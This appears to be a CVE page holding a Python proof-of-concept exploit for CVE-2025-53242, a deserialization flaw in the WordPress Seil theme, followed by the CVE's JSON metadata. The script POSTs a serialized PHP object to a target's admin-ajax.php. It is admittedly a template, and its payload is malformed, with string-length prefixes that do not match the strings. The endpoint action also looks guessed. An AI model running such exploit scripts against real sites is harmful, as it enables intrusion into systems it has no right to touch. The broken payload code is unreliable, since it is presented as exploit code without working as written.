CVE-2025-53242

# CVE-2025-53242 PoC - Seil Theme Unserialize Vulnerability # This PoC demonstrates the deserialization vulnerability in Seil theme import requests import sys import argparse def generate_payload(): """Generate malicious serialized payload for object injection""" # PHP gadget chain for WordPress - requires specific POP chain # This is a template structure, actual exploitation needs target-specific chain payload = 'O:30:"WP_Http_Cookie":2:{s:6:"name";s:5:"test";s:5:"value";s:10:"malicious";}' return payload def exploit_target(url, payload): """Send exploit payload to vulnerable endpoint""" target_url = f"{url}/wp-admin/admin-ajax.php" data = { 'action': 'seil_ajax_action', 'data': payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Payload sent to {target_url}") print(f"[*] Response Status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def main(): parser = argparse.ArgumentParser(description='CVE-2025-53242 PoC') parser.add_argument('--url', required=True, help='Target WordPress URL') args = parser.parse_args() print("[*] CVE-2025-53242 - Seil Theme Deserialization RCE") payload = generate_payload() exploit_target(args.url, payload) if __name__ == "__main__": main() # Note: This is a proof-of-concept template. # Actual exploitation requires: # 1. Identifying the vulnerable unserialize() call # 2. Finding suitable PHP gadget chains in installed plugins/themes # 3. Crafting a complete POP chain for RCE

{"cve": {"id": "CVE-2025-53242", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:55.473", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in VictorThemes Seil seil allows Object Injection.This issue affects Seil: from n/a through <= 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/seil/vulnerability/wordpress-seil-theme-1-7-1-deserialization-of-untrusted-data-vulnerability?_s_id=cve", "source": "[email protected]"}]}}